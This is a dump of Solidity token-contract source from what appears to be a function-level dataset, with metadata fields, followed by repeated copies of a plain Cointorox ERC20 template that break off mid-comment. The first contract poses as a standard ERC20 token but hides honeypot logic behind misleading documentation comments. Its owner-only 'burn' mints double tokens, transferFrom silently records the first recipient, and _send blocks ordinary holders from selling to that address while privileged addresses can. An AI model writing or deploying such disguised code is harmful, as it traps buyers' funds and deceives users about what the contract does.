function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
} | allowance | function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| /**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
4739,
4892
]
} | 11,293 |
||
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
| /**
* Internal transfer, only can be called by this contract
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
1727,
2734
]
} | 11,294 |
|
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | transfer | function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
| /**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
2976,
3149
]
} | 11,295 |
|
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
| /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
3464,
3856
]
} | 11,296 |
|
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | approve | function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
4156,
4386
]
} | 11,297 |
|
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!safeguard);
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!safeguard);
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!safeguard);
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | //***************************************************************//
//------------------ ERC20 Standard Template -------------------//
//***************************************************************// | LineComment | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
require(!safeguard);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
| /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://57e4923604f55140b1f022f22fa634b9ac1cbf44bcddfd84a065faefea9f89d1 | {
"func_code_index": [
4820,
5258
]
} | 11,298 |
|
Cointorox | Cointorox.sol | 0x1c5b760f133220855340003b43cc9113ec494823 | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bool public safeguard = false; //putting safeguard on will halt all non-owner functions
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor (
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply.mul(1 ether); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // All the tokens will be sent to owner
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
require(!safeguard);
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);
}
/**
* Transfer tokens
*
